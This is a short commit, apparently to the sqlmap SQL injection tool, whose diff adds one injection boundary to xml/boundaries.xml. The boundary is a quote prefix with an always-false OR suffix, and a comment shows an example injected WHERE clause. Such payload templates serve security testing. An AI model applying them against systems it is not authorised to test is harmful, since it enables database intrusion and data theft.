One more payload (requires usage of --code or similar)

xml/boundaries.xml

@@ -310,6 +310,16 @@ Formats:
         <prefix></prefix>
         <suffix># [RANDSTR]</suffix>
     </boundary>
+
+    <!--     e.g. admin' AND [INFERENCE] OR 'foo'='bar' AND password=$password -->
+    <boundary>
+        <level>3</level>
+        <clause>1</clause>
+        <where>1,2</where>
+        <ptype>2</ptype>
+        <prefix>'</prefix>
+        <suffix> OR '[RANDSTR1]'='[RANDSTR2]</suffix>
+    </boundary>
     <!-- End of WHERE/HAVING clause boundaries -->
 
     <!-- Pre-WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)"-->